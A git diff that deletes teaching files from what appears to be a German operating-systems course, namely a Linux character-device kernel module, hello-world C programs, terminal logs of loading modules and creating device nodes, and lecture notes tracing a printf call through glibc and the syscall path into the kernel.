-	 * Number of bytes actually written to the buffer 
-	 */
-	int bytes_read = 0;
-
-	/*
-	 * If we're at the end of the message, 
-	 * return 0 signifying end of file 
-	 */
-	if (*msg_Ptr == 0)
-		return 0;
-
-	/* 
-	 * Actually put the data into the buffer 
-	 */
-	while (length && *msg_Ptr) {
-
-		/* 
-		 * The buffer is in the user data segment, not the kernel 
-		 * segment so "*" assignment won't work.  We have to use 
-		 * put_user which copies data from the kernel data segment to
-		 * the user data segment. 
-		 */
-		put_user(*(msg_Ptr++), buffer++);
-
-		length--;
-		bytes_read++;
-	}
-
-	/* 
-	 * Most read functions return the number of bytes put into the buffer
-	 */
-	return bytes_read;
-}
-
-/*  
- * Called when a process writes to dev file: echo "hi" > /dev/hello 
- */
-static ssize_t
-device_write(struct file *filp, const char *buff, size_t len, loff_t * off)
-{
-	printk(KERN_ALERT "Sorry, this operation isn't supported.\n");
-	return -EINVAL;
-}
diff --git a/20220411/chardev-3.c b/20220411/chardev-3.c
deleted file mode 100644
index 663c4a555ba554c69b8a3ac41228254e40f643e3..0000000000000000000000000000000000000000
--- a/20220411/chardev-3.c
+++ /dev/null
@@ -1,198 +0,0 @@
-/*
- *  chardev.c: Creates a read-only char device that says how many times
- *  you've read from the dev file
- */
-
-#include <linux/kernel.h>
-#include <linux/module.h>
-#include <linux/device.h>
-#include <linux/fs.h>
-#include <asm/uaccess.h>	/* for put_user */
-
-MODULE_LICENSE("GPL");
-
-/*  
- *  Prototypes - this would normally go in a .h file
- */
-int init_module(void);
-void cleanup_module(void);
-static int device_open(struct inode *, struct file *);
-static int device_release(struct inode *, struct file *);
-static ssize_t device_read(struct file *, char *, size_t, loff_t *);
-static ssize_t device_write(struct file *, const char *, size_t, loff_t *);
-
-struct class *dev_Class;
-struct device *chr_dev;
-
-#define SUCCESS 0
-#define DEVICE_NAME "chardev"	/* Dev name as it appears in /proc/devices   */
-#define BUF_LEN 80		/* Max length of the message from the device */
-
-/* 
- * Global variables are declared as static, so are global within the file. 
- */
-
-static int Major;		/* Major number assigned to our device driver */
-static int Device_Open = 0;	/* Is device open?  
-				 * Used to prevent multiple access to device */
-static char msg[BUF_LEN];	/* The msg the device will give when asked */
-static char *msg_Ptr;
-
-static struct file_operations fops = {
-	.read = device_read,
-	.write = device_write,
-	.open = device_open,
-	.release = device_release
-};
-
-/*
- * This function is called when the module is loaded
- */
-int init_module(void)
-{
-        Major = register_chrdev(0, DEVICE_NAME, &fops);
-
-	if (Major < 0) {
-	  printk(KERN_ALERT "Registering char device failed with %d\n", Major);
-	  return Major;
-	}
-
-        // Create module class
-        printk (KERN_INFO "Creating device class \"chardev\" ...\n");
-        dev_Class = class_create (THIS_MODULE,DEVICE_NAME);
-        if( dev_Class == NULL)
-        {
-            printk (KERN_ALERT "Error! Class couldn't be created!\n");
-            return 1;
-        }
-        printk (KERN_INFO "Class created!\n");
-        // Create device in /dev/...
-        printk (KERN_INFO "Creating device\n");
-        chr_dev = device_create (dev_Class, NULL, MKDEV (Major,0), NULL, DEVICE_NAME);
-        if (chr_dev == NULL)
-        {
-            printk( KERN_ALERT "Error! Device couldn't be created!\n" );
-            return 1 ;
-        }
-
-	return SUCCESS;
-}
-
-/*
- * This function is called when the module is unloaded
- */
-void cleanup_module(void)
-{
-        printk(KERN_INFO "module chardev-3 cleanup\n");
-        //Unregister the device
-        if (chr_dev)
-          {
-            printk(KERN_INFO "Unregister device ...\n");
-            device_unregister(chr_dev);
-            printk(KERN_INFO "OK\n");
-          }
-
-        if (dev_Class)
-          {
-            printk(KERN_INFO "Unregister class ...\n");
-            class_unregister(dev_Class);
-            printk(KERN_INFO "OK\n");
-          }
-
-        printk(KERN_INFO "Unregister Chardev ...\n");
-        unregister_chrdev(Major, DEVICE_NAME);
-        printk(KERN_INFO "Device %s unregistered!\n", DEVICE_NAME);
-}
-
-/*
- * Methods
- */
-
-/* 
- * Called when a process tries to open the device file, like
- * "cat /dev/mycharfile"
- */
-static int device_open(struct inode *inode, struct file *file)
-{
-	static int counter = 0;
-
-	if (Device_Open)
-		return -EBUSY;
-
-	Device_Open++;
-	sprintf(msg, "I already told you %d times Hello world!\n", counter++);
-	msg_Ptr = msg;
-	try_module_get(THIS_MODULE);
-
-	return SUCCESS;
-}
-
-/* 
- * Called when a process closes the device file.
- */
-static int device_release(struct inode *inode, struct file *file)
-{
-	Device_Open--;		/* We're now ready for our next caller */
-
-	/* 
-	 * Decrement the usage count, or else once you opened the file, you'll
-	 * never get get rid of the module. 
-	 */
-	module_put(THIS_MODULE);
-
-	return 0;
-}
-
-/* 
- * Called when a process, which already opened the dev file, attempts to
- * read from it.
- */
-static ssize_t device_read(struct file *filp,	/* see include/linux/fs.h   */
-			   char *buffer,	/* buffer to fill with data */
-			   size_t length,	/* length of the buffer     */
-			   loff_t * offset)
-{
-	/*
-	 * Number of bytes actually written to the buffer 
-	 */
-	int bytes_read = 0;
-
-	/*
-	 * If we're at the end of the message, 
-	 * return 0 signifying end of file 
-	 */
-	if (*msg_Ptr == 0)
-		return 0;
-
-	/* 
-	 * Actually put the data into the buffer 
-	 */
-	while (length && *msg_Ptr) {
-
-		/* 
-		 * The buffer is in the user data segment, not the kernel 
-		 * segment so "*" assignment won't work.  We have to use 
-		 * put_user which copies data from the kernel data segment to
-		 * the user data segment. 
-		 */
-		put_user(*(msg_Ptr++), buffer++);
-
-		length--;
-		bytes_read++;
-	}
-
-	/* 
-	 * Most read functions return the number of bytes put into the buffer
-	 */
-	return bytes_read;
-}
-
-/*  
- * Called when a process writes to dev file: echo "hi" > /dev/hello 
- */
-static ssize_t
-device_write(struct file *filp, const char *buff, size_t len, loff_t * off)
-{
-	printk(KERN_ALERT "Sorry, this operation isn't supported.\n");
-	return -EINVAL;
-}
diff --git a/20220411/glibc-1.txt b/20220411/glibc-1.txt
deleted file mode 100644
index 0221b903ed5da4ad46da65d76b7ae5cccd346e66..0000000000000000000000000000000000000000
--- a/20220411/glibc-1.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220411> dir -d glibc*
-drwxr-xr-x 73 peter peter     4096 Apr 11 13:29 glibc-2.28
--rw-r--r--  1 peter peter   899676 Mär 17 23:12 glibc_2.28-10+deb10u1.debian.tar.xz
--rw-r--r--  1 peter peter     8921 Mär 17 23:12 glibc_2.28-10+deb10u1.dsc
--rw-r--r--  1 peter peter 17061292 Okt 30  2018 glibc_2.28.orig.tar.xz
-cassini/home/peter/bo/2022ss/bs/20220411> apt-get source libc6
diff --git a/20220411/hello-1.c b/20220411/hello-1.c
deleted file mode 100644
index b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac..0000000000000000000000000000000000000000
--- a/20220411/hello-1.c
+++ /dev/null
@@ -1,7 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  printf ("Hello, world!\n");
-  return 0;
-}
diff --git a/20220411/hello-2.c b/20220411/hello-2.c
deleted file mode 100644
index 2dbbad99d102df43d00779483f789f03274353ca..0000000000000000000000000000000000000000
--- a/20220411/hello-2.c
+++ /dev/null
@@ -1,7 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  printf ("Hello, world!");
-  return 0;
-}
diff --git a/20220411/hello-3.c b/20220411/hello-3.c
deleted file mode 100644
index b767f77cd3a7328e5f45b60e674d32a647386509..0000000000000000000000000000000000000000
--- a/20220411/hello-3.c
+++ /dev/null
@@ -1,7 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  puts ("Hello, world!");
-  return 0;
-}
diff --git a/20220411/modules-6.txt b/20220411/modules-6.txt
deleted file mode 100644
index 44cf5cfdc978305263273d002535a5343de46c65..0000000000000000000000000000000000000000
--- a/20220411/modules-6.txt
+++ /dev/null
@@ -1,50 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220404> sudo insmod chardev-1.ko
-cassini/home/peter/bo/2022ss/bs/20220404> sudo dmesg | tail -15
-[2143588.930267] usb 4-1.5: Manufacturer: Chicony Electronics Co.,Ltd.
-[2143588.930270] usb 4-1.5: SerialNumber: 200901010001
-[2143588.937888] uvcvideo: Found UVC 1.00 device USB2.0 HD UVC WebCam (04f2:b330)
-[2143588.955826] uvcvideo 4-1.5:1.0: Entity type for entity Extension 4 was not initialized!
-[2143588.955832] uvcvideo 4-1.5:1.0: Entity type for entity Processing 2 was not initialized!
-[2143588.955834] uvcvideo 4-1.5:1.0: Entity type for entity Camera 1 was not initialized!
-[2143588.955951] input: USB2.0 HD UVC WebCam: USB2.0 HD as /devices/pci0000:00/0000:00:1d.0/usb4/4-1/4-1.5/4-1.5:1.0/input/input426
-[2144883.840634] Hello world 1.
-[2144980.069509] Goodbye world 1.
-[2145413.353119] I was assigned major number 241. To talk to
-[2145413.353121] the driver, create a dev file with
-[2145413.353121] 'mknod /dev/chardev c 241 0'.
-[2145413.353121] Try various minor numbers. Try to cat and echo to
-[2145413.353122] the device file.
-[2145413.353122] Remove the device file and module when done.
-cassini/home/peter/bo/2022ss/bs/20220404> ls -l dev
-insgesamt 0
-crw-r--r-- 1 root root 241, 0 Apr  4 14:39 chardev
-cassini/home/peter/bo/2022ss/bs/20220404> cat dev/chardev
-I already told you 0 times Hello world!
-cassini/home/peter/bo/2022ss/bs/20220404> cat dev/chardev
-I already told you 1 times Hello world!
-cassini/home/peter/bo/2022ss/bs/20220404> cat dev/chardev
-I already told you 2 times Hello world!
-cassini/home/peter/bo/2022ss/bs/20220404> sudo rmmod chardev_1
-cassini/home/peter/bo/2022ss/bs/20220404> ls -l dev/chardev
-crw-r--r-- 1 root root 241, 0 Apr  4 14:39 dev/chardev
-cassini/home/peter/bo/2022ss/bs/20220404> cat dev/chardev
-cat: dev/chardev: Kein passendes Gerät bzw. keine passende Adresse gefunden
-cassini/home/peter/bo/2022ss/bs/20220404> cd ../20220411/
-cassini/home/peter/bo/2022ss/bs/20220411> ls -l
-insgesamt 28
--rw-r--r-- 1 peter peter 4069 Apr  4  2014 chardev-1.c
--rw-r--r-- 1 peter peter 4659 Mai  5  2017 chardev-2.c
--rw-r--r-- 1 peter peter 4997 Apr 26  2019 chardev-3.c
-lrwxrwxrwx 1 peter peter   16 Apr 10 12:31 Makefile -> Makefile-modules
--rw-r--r-- 1 peter peter  159 Apr 10 12:35 Makefile-modules
--rw-r--r-- 1 peter peter 2495 Apr 10 12:43 SCRATCH
-cassini/home/peter/bo/2022ss/bs/20220411> mkdir dev
-cassini/home/peter/bo/2022ss/bs/20220411> sudo mknod dev/chardev c 241 1
-cassini/home/peter/bo/2022ss/bs/20220411> ls -l dev
-insgesamt 0
-crw-r--r-- 1 root root 241, 1 Apr 11 11:42 chardev
-cassini/home/peter/bo/2022ss/bs/20220411> ls -l dev/chardev
-crw-r--r-- 1 root root 241, 1 Apr 11 11:42 dev/chardev
-cassini/home/peter/bo/2022ss/bs/20220411> cat dev/chardev
-cat: dev/chardev: Kein passendes Gerät bzw. keine passende Adresse gefunden
-cassini/home/peter/bo/2022ss/bs/20220411>
diff --git a/20220411/modules-7.txt b/20220411/modules-7.txt
deleted file mode 100644
index 01223e888e037595b537f831d803f55a1c8861b6..0000000000000000000000000000000000000000
--- a/20220411/modules-7.txt
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Called when a process writes to dev file: echo "hi" > /dev/hello
- */
-static ssize_t
-device_write(struct file *filp, const char *buff, size_t len, loff_t * off)
-{
-        printk(KERN_ALERT "Sorry, this operation isn't supported.\n");
-        return -EINVAL;
-}
-cassini/home/peter/bo/2022ss/bs/20220411> echo "Hallo" > dev/chardev
-bash: dev/chardev: Keine Berechtigung
-cassini/home/peter/bo/2022ss/bs/20220411> sudo su -
-[sudo] Passwort für peter:
-Das hat nicht funktioniert, bitte nochmal probieren.
-[sudo] Passwort für peter:
-root@cassini:~# . bash-settings.pg
-cassini/root# cd ~peter/bo/2022ss/bs/20220411/
-cassini/home/peter/bo/2022ss/bs/20220411# echo "Hallo" > dev/chardev
--bash: echo: Schreibfehler: Das Argument ist ungültig.
-cassini/home/peter/bo/2022ss/bs/20220411#
diff --git a/20220411/modules-8.txt b/20220411/modules-8.txt
deleted file mode 100644
index 023faa54a15592852cd90f64e5eff75e8da63231..0000000000000000000000000000000000000000
--- a/20220411/modules-8.txt
+++ /dev/null
@@ -1,50 +0,0 @@
-brw-rw----  1 root disk      8,  32 Apr 11 12:57 sdc
-brw-rw----  1 root disk      8,  33 Apr 11 12:57 sdc1
-drwxr-xr-x  2 root root         400 Apr 11 12:57 block
-crw-------  1 root root    241,   0 Apr 11 13:00 chardev
-drwxr-xr-x  2 root root        4000 Apr 11 13:00 char
-drwxrwxrwt  2 root root          60 Apr 11 13:00 shm
-crw-rw-rw-  1 root tty       5,   2 Apr 11 13:00 ptmx
-cassini/home/peter/bo/2022ss/bs/20220411> cat /dev/chardev
-cat: /dev/chardev: Keine Berechtigung
-Sie haben neue Post in /var/mail/peter.
-cassini/home/peter/bo/2022ss/bs/20220411> sudo cat /dev/chardev
-I already told you 0 times Hello world!
-Sie haben Post in /var/mail/peter.
-cassini/home/peter/bo/2022ss/bs/20220411> ls -l dev/chardev
-crw-r--r-- 1 root root 241, 1 Apr 11 11:42 dev/chardev
-cassini/home/peter/bo/2022ss/bs/20220411> cat dev/chardev
-I already told you 1 times Hello world!
-cassini/home/peter/bo/2022ss/bs/20220411> sudo mknod dev/chardev0 c 241 0
-cassini/home/peter/bo/2022ss/bs/20220411> ls -l dev/
-insgesamt 0
-crw-r--r-- 1 root root 241, 1 Apr 11 11:42 chardev
-crw-r--r-- 1 root root 241, 0 Apr 11 13:04 chardev0
-cassini/home/peter/bo/2022ss/bs/20220411> cat dev/chardev0
-I already told you 2 times Hello world!
-cassini/home/peter/bo/2022ss/bs/20220411> mknod dev/chardev0u c 241 0
-mknod: dev/chardev0u: Die Operation ist nicht erlaubt
-cassini/home/peter/bo/2022ss/bs/20220411> which mknod
-/bin/mknod
-cassini/home/peter/bo/2022ss/bs/20220411> ls -l $(which mknod)
--rwxr-xr-x 1 root root 68544 Feb 28  2019 /bin/mknod
-cassini/home/peter/bo/2022ss/bs/20220411> cat /dev/chardev
-cat: /dev/chardev: Keine Berechtigung
-cassini/home/peter/bo/2022ss/bs/20220411> sudo cat /dev/chardev
-I already told you 3 times Hello world!
-cassini/home/peter/bo/2022ss/bs/20220411> ls -l dev/* /dev/chardev
-crw------- 1 root root 241, 0 Apr 11 13:00 /dev/chardev
-crw-r--r-- 1 root root 241, 1 Apr 11 11:42 dev/chardev
-crw-r--r-- 1 root root 241, 0 Apr 11 13:04 dev/chardev0
-cassini/home/peter/bo/2022ss/bs/20220411> sudo rmmod chardev_1
-rmmod: ERROR: Module chardev_1 is not currently loaded
-cassini/home/peter/bo/2022ss/bs/20220411> sudo rmmod chardev_3
-cassini/home/peter/bo/2022ss/bs/20220411> ls -l dev/* /dev/chardev
-ls: Zugriff auf '/dev/chardev' nicht möglich: Datei oder Verzeichnis nicht gefunden
-crw-r--r-- 1 root root 241, 1 Apr 11 11:42 dev/chardev
-crw-r--r-- 1 root root 241, 0 Apr 11 13:04 dev/chardev0
-cassini/home/peter/bo/2022ss/bs/20220411> cat dev/chardev
-cat: dev/chardev: Kein passendes Gerät bzw. keine passende Adresse gefunden
-cassini/home/peter/bo/2022ss/bs/20220411> cat dev/chardev0
-cat: dev/chardev0: Kein passendes Gerät bzw. keine passende Adresse gefunden
-cassini/home/peter/bo/2022ss/bs/20220411>
diff --git a/20220411/os-layers-1.jpg b/20220411/os-layers-1.jpg
deleted file mode 120000
index 6dc99e9e12dbc84e908c37974c7d528be014d587..0000000000000000000000000000000000000000
--- a/20220411/os-layers-1.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/os-layers-1.jpg
\ No newline at end of file
diff --git a/20220411/os-layers-2.jpg b/20220411/os-layers-2.jpg
deleted file mode 120000
index 4da385ea396af0f9c7ed79b23a183a3b5618b445..0000000000000000000000000000000000000000
--- a/20220411/os-layers-2.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/os-layers-2.jpg
\ No newline at end of file
diff --git a/20220411/os-layers-3.jpg b/20220411/os-layers-3.jpg
deleted file mode 120000
index eaf5b599709e39d1c51dfdac28843c31b3fa971c..0000000000000000000000000000000000000000
--- a/20220411/os-layers-3.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/os-layers-3.jpg
\ No newline at end of file
diff --git a/20220411/os-layers-4.jpg b/20220411/os-layers-4.jpg
deleted file mode 120000
index efcbbd1827ff55f225fee0b77b8bfb5c6cff980c..0000000000000000000000000000000000000000
--- a/20220411/os-layers-4.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/os-layers-4.jpg
\ No newline at end of file
diff --git a/20220411/os-layers-5.jpg b/20220411/os-layers-5.jpg
deleted file mode 120000
index 91cabe9241f19ece833cb22e8f16587153f246a2..0000000000000000000000000000000000000000
--- a/20220411/os-layers-5.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/os-layers-5.jpg
\ No newline at end of file
diff --git a/20220425/bs-20220425.txt b/20220425/bs-20220425.txt
deleted file mode 100644
index 3841aab1f5dd71438f3e18f23115c91f559ab684..0000000000000000000000000000000000000000
--- a/20220425/bs-20220425.txt
+++ /dev/null
@@ -1,280 +0,0 @@
-Von der Anwendung bis zum Kernel: libc, 14.05.2021, 14:17:04
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-$ gcc -Wall -O -g3 hello-1.c -o hello-1
-$ gdb -tui ./hello-1
-(gdb) b 5  # setze Breakpoint vor printf()-Aufruf
-(gdb) run
-(gdb) step  # springe in die aufgerufene Funktion hinein
-(gdb) directory libc/glibc-2.28/libio  # Verzeichnis für Quelltext mitteilen
---> _IO_puts()
-(gdb) next  # 1 Zeile ausführen
---> _IO_sputn()  # springe in die aufgerufene Funktion hinein
---> IO_validate_vtable()  # In dieser Funktion landen wir stattdessen.
---> return vtable;
---> "Hello, world!\n" erscheint auf dem Bildschirm.
---> ???
-
-_IO_sputn() ist keine Funktion, sondern ein Präprozessor-Makro,
-der _IO_XSPUTN() aufruft.
-
-_IO_XSPUTN() ist keine Funktion, sondern ein Präprozessor-Makro,
-der JUMP2() aufruft und zusätzlich __xsputn
-als ersten Parameter übergibt.
-
-JUMP2() ist keine Funktion, sondern ein Präprozessor-Makro,
-der die Funktion _IO_JUMPS_FUNC(THIS)->FUNC() aufruft
-und zusätzlich THIS als ersten Parameter übergibt.
-FUNC hat hierbei den Wert __xsputn, und
-THIS hat den Wert FP, also die Datei, hier also stdout.
-
-_IO_JUMPS_FUNC() ist keine Funktion, sondern ein Präprozessor-Makro,
-der ...
-
-# define _IO_JUMPS_FUNC(THIS) \
-  (IO_validate_vtable                                                   \
-   (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS)       \
-                             + (THIS)->_vtable_offset)))
-
-... prüft, ob die virtuelle Methodentabelle (vtable) in Ordnung ist
-und einen Zeiger darauf zurückliefert.
-Anschließend kann JUMP2() die tatsächliche Funktion __xsputn() aufrufen.
-
-Gesamtergebnis:
-
-_IO_sputn() ist eine virtuelle Methode der Datei.
-THIS hat den Wert der Datei, hier also stdout.
-
-...
---> return vtable;
---> _IO_new_file_xsputn()
-
-_IO_default_xsputn (f, ...)
---> _IO_OVERFLOW (f, EOF)
---> IO_valudate_vtable()  # Aufruf einer virtuellen Methode
---> _IO_new_file_overflow()
---> _IO_do_write (f, ...)  # Präprozessor-Makro für ...
---> _IO_new_do_write (f, ...)
-... Schleife ...
-Datei fileops.c, Zeile 791
---> _IO_new_do_write (f, ...)
---> new_do_write (f, ...)
---> _IO_SYSWRITE (fp, ...)
---> __libc_write()
-Datei sysdeeps/unix/sysv/linux/write.c, Zeile 26
---> return SYSCALL_CANCEL (write, fd, buf, nbytes);
-
-Systemaufrufe, 21.05.2021, 12:08:00
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-hello-2.c
-...
---> _IO_new_do_write (f, ...)
---> new_do_write (f, ...)
---> _IO_SYSWRITE (fp, ...)
---> __libc_write()
-Datei sysdeeps/unix/sysv/linux/write.c, Zeile 26
---> return SYSCALL_CANCEL (write, fd, buf, nbytes);
-
-b+ │0x7ffff7eb54f0 <__GI___libc_write>      lea    0xd61f9(%rip),%rax        # 0x7ffff7f8b6f0 │
-  >│0x7ffff7eb54f7 <__GI___libc_write+7>    mov    (%rax),%eax                                │
-   │0x7ffff7eb54f9 <__GI___libc_write+9>    test   %eax,%eax                                  │
-   │0x7ffff7eb54fb <__GI___libc_write+11>   jne    0x7ffff7eb5510 <__GI___libc_write+32>      │
-   │0x7ffff7eb54fd <__GI___libc_write+13>   mov    $0x1,%eax                                  │
-   │0x7ffff7eb5502 <__GI___libc_write+18>   syscall                                           │
-   │0x7ffff7eb5504 <__GI___libc_write+20>   cmp    $0xfffffffffffff000,%rax                   │
-   │0x7ffff7eb550a <__GI___libc_write+26>   ja     0x7ffff7eb5560 <__GI___libc_write+112>     │
-   │0x7ffff7eb550c <__GI___libc_write+28>   retq                                              │
-   │0x7ffff7eb550d <__GI___libc_write+29>   nopl   (%rax)                                     │
-   │0x7ffff7eb5510 <__GI___libc_write+32>   push   %r12                                       │
-   │0x7ffff7eb5512 <__GI___libc_write+34>   mov    %rdx,%r12                                  │
-   │0x7ffff7eb5515 <__GI___libc_write+37>   push   %rbp                                    
-
-lea: Lade einen Zeiger aus einer konstanten Tabelle in das rax-Register
-mov: Lade das, worauf der Zeiger zeigt, in das eax-Register
-test: Prüfe, welchen Wert eax hat
-jne: Jump if Not Equal = bedingter Sprung, falls ungleich 0 (Vermutung: Fehler)
-mov: Lade die Zahl 1 als Parameter für syscall in das eax-Register. 1 steht für "write".
-syscall: übergebe an den Kernel --> schreibt "Hello, world!\n" auf den Bildschirm
-cmp: Vergleiche den Wert von eax mit einer Zahl
-ja: Jump if Above (Prüfen auf Fehler)
-retq: Beende die Funktion
-
-syscall erwartet Parameter in den Prozessor-Registern:
-  eax: Nummer der Funktion, die aufgerufen werden soll
-  rsi: Zeiger auf die auszugebenden Daten
-       (siehe: https://0xax.gitbooks.io/linux-insides/content/SysCall/linux-syscall-1.html)
-  ebx oder edx: Länge der auszugebenden Daten
-  (ggf. weitere Register)
-
-Kernel, 25.05.2017, 17:53:23
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Fragestellung: Wir haben in der glibc beim Maschinenbefehl "syscall"
-aufgehört. Wie geht es nun im Kernel weiter? Wer nimmt den Funktions-
-aufruf entgegen?
-
-Suchbegriff: sys_call_table
-
---> Es gibt eine Tabelle, die für jeden der durchnumerierten Systemaufrufe
-    einen Zeiger auf die aufzurufende Funktion enthält.
-
---> Der Maschinenbefehl "syscall" ruft eine Funktion innerhalb des
-    Kernels auf. Wo steht, welche Funktion das ist?
-
-arch/x86/entry/syscall_64.c: Defnition des Arrays sys_call_table
-
-Initialisiertes Array von Zeigern auf Funktionen.
-Zunächst zeigen alle Zeiger auf die Funktion sys_ni_syscall(),
-die lediglich eine Fehlermeldung zurückgibt ("nicht implementiert").
-Danach werden auf diejenigen Funktionen, die es tatsächlich gibt
-Zeiger initialisiert. Dies erfolgt durch ein #include der Datei
-/usr/src/linux-headers-4.19.0-8-amd64/arch/x86/include/generated/asm/syscalls_64.h
-mit vorheriger Definition eines Präprozessor-Macros __SYSCALL().
-
-  asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = {
-          /*
-           * Smells like a compiler bug -- it doesn't work
-           * when the & below is removed.
-           */
-          [0 ... __NR_syscall_max] = &sys_ni_syscall,
-  #include <asm/syscalls_64.h>
-  -->     [0] = __x64_sys_read,
-          [1] = __x64_sys_write,
-          [2] = __x64_sys_open,
-          ...
-  };
-
-Vorher wurden mit demselben Trick alle Funktionen vorwärts-deklariert:
-
-  #define __SYSCALL_64(nr, sym, qual) extern asmlinkage long sym(const struct pt_regs *);
-  #include <asm/syscalls_64.h>
-  -->  extern asmlinkage long __x64_sys_read(const struct pt_regs *);
-       extern asmlinkage long __x64_sys_write(const struct pt_regs *);
-       extern asmlinkage long __x64_sys_open(const struct pt_regs *);
-       ...
-  #undef __SYSCALL_64
-
-Wie können wur nun dafür sorgen, daß der Befehl syscall dieses Array
-auch benutzt?
-
-arch/x86/entry/entry_64.S enthält eine Funktion entry_SYSCALL_64,
-die eine Funktion "do_syscall_64()" aufruft
-und sich über "USERGS_SYSRET64" beendet.
-Dies ist ein Präprozessor-Makro, der zu "swapgs; sysretq;" expandiert
-(Definition in include/asm/irqflags.h).
-
-Woher kommt die Include-Datei in "generated"?
-arch/x86/entry/syscalls/Makefile ruft das Shell-Skript syscalltbl.sh auf.
-Dieses liest syscall_64.tbl und erzeugt daraus syscall_64.h.
-
-Damit haben wir die Funktion gefunden, die den Syscall entgegennehmen soll.
-Daraus ergeben sich neue Fragen:
-1. Wie sorge ich dafür, daß sie tatsächlich bei "syscall" aufgerufen wird?
-2. Wie geht es von dort aus weiter bis zu der Tabelle "sys_call_table"?
-
-zu 1.:
-Suche nach "entry_SYSCALL_64" liefert:
-arch/x86/kernel/cpu/common.c: wrmsrl(MSR_LSTAR, (unsigned long)entry_SYSCALL_64);
-
-Was bedeutet "wrmsrl"?
-https://sites.google.com/site/masumzh/articles/hypervisor-based-virtualization/compute-virtualization
-"As shown below, the content of the IA32_LSTAR MSR (Model Specific Register)
-is copied to the instruction pointer register (RIP) [...]"
-
-Demnach ist das Prozessorregister "IA32_LSTAR MSR" die Einsprungadresse,
-zu der der "syscall"-Aufruf springen soll.
-Um das Register "IA32_LSTAR MSR" zu setzen, gibt es den Befehl "wrmsrl"
-(Write MSR (long = 32 Bit)).
-Offensichtlich ist das MSR ein Array, und "IA32_LSTAR" ist der Index.
-
-zu 2.:
-arch/x86/entry/common.c enthält die C-Funcktion do_syscall_64().
-Diese enthält die Zeile "regs->ax = sys_call_table[nr](regs);", also den
-Aufruf der Funktion, auf die ein Zeiger in der tabelle "sys_call_table"
-an der Stelle "nr" gespeichert ist.
-
---> Weiter geht's mit dem Eintrag in sys_call_table,
-    also mit der Implementation von sys_write().
-
-Die Tabelle wird benutzt in der Funktion do_syscall_64():
-
-  regs->ax = sys_call_table[nr](regs);
-
-Wo wird die Funktion __x64_sys_write definiert?
-Wenn man lange genug sucht, findet man: arch/x86/include/asm/syscall_wrapper.h
-Dort steht eine kleine Funktion __x64_sys_write(), die ihrerseits eine Funktion
-__se_sys_write() aufruft.
-
-Der Präprozessor-Makro __SYSCALL_DEFINEx() wird über einen anderen Präprozessor-Makro
-SYSCALL_DEFINEx() aufgerufen, der in include/linux/syscalls.h definiert wird
-und seinerseits über SYSCALL_DEFINE3() aufgerufen wird, der ebenfalls in
-include/linux/syscalls.h definiert wird.
-
-Wenn man lange genug sucht, findet man: fs/read_write.c
-SYSCALL_DEFINE3(write, unsigned int, fd, const char __user *, buf, size_t, count)
-
-Dort wird eine Funktion definiert, die ihrerseits eine Funktion ksys_write() aufruft.
-Diese enthält:
-
-  ret = vfs_write(f.file, buf, count, &pos);
-
-Hier passiert das eigentliche Schreiben.
-
-Ebenfalls in fs/read_write.c:
-
-  ssize_t vfs_write(struct file *file, const char __user *buf, size_t count, loff_t *pos)
-
-Diese ruft auf:
-
-  ret = __vfs_write(file, buf, count, pos);
-
-Ebenfalls in fs/read_write.c:
-
-  ssize_t __vfs_write(struct file *file, const char __user *p, size_t count, loff_t *pos)
-
-Diese ruft auf:
-
-  if (file->f_op->write) return file->f_op->write(file, p, count, pos);
-
-:-)
-
-Jetzt fehlt nur noch: Wie bekommt f_op->write den Wert, den das Modul hinterlegt hat?
-
-Der Funktion wird ein Parameter "file" übergeben.
-Dies ist eine "struct file", die u.a. ein Feld "f_op" enthält,
-das auf ein weiteres struct mit Callback-Funktionen zeigt.
-
-Wie kommen die "richtigen" Callback-Funktionen dort hinein?
-Eigentlich müßte dies bei register_chrdev() passieren.
-Schauen wir uns daher an, was register_chrdev() eigentlich macht.
-
-Dies ist definiert in include/linux/fs.h und ruft die Funktion
-__register_chrdev() auf.
-
-Diese wiederum ist definiert in fs/char_dev.c.
-Sie alloziert eine cdev-Struktur und speichert darin die fops.
-Die cdev-Struktur wird dann mittels cdev_add() in eine Liste eingefügt.
-Hierfür ruft cdev_add() die Funktion kobj_map() auf.
-Diese Funktion wird in drivers/base/map.c definiert
-und legt die cdev-Struktur in einer Hash-Tabelle ab.
-Der letzte Parameter "data" ist dabei der Zeiger auf die cdev-Strutur,
-die auch die fops enthält.
-
-Wie kommen nun die fops von der Hash-Tabelle aus in die file-Struktur?
-
-Vermutung: Dies geschieht beim Öffnen der Datei.
-
-In fs/open.c gibt es eine Funktion vfs_open().
-Diese sucht den zur Datei gehörenden inode heraus und ruft damit do_dentry_open() auf.
-
-Theorie der Dateisysteme: Dateien werden durch "inodes" repräsentiert.
-
-include/linux/fs.h: Definition "inode"
-
-  Die "struct inode" enthält ein Datenfeld "i_rdev", in dem die Major- und Minor-Nr.
-  der Gerätedatei gemeinsam gespeichert sind.
-
-  --> Sobald wir einen inode kennen, kennen wir Major- und Minor-Nr. der Gerätedatei.
-
-do_dentry_open() schreibt den inode in die file-Struktur,
-holt die fops aus dem inode und legt sie direkt in der file-Struktur ab.
-
-# Das einzige, was jetzt noch fehlt: Wie kommen die fops in den inode?
diff --git a/20220502/bs-20220502.txt b/20220502/bs-20220502.txt
deleted file mode 100644
index 1a5d5df843864c5dbcb05b2576861b6027a589e5..0000000000000000000000000000000000000000
--- a/20220502/bs-20220502.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Dateisysteme, 02.05.2022, 12:45:10
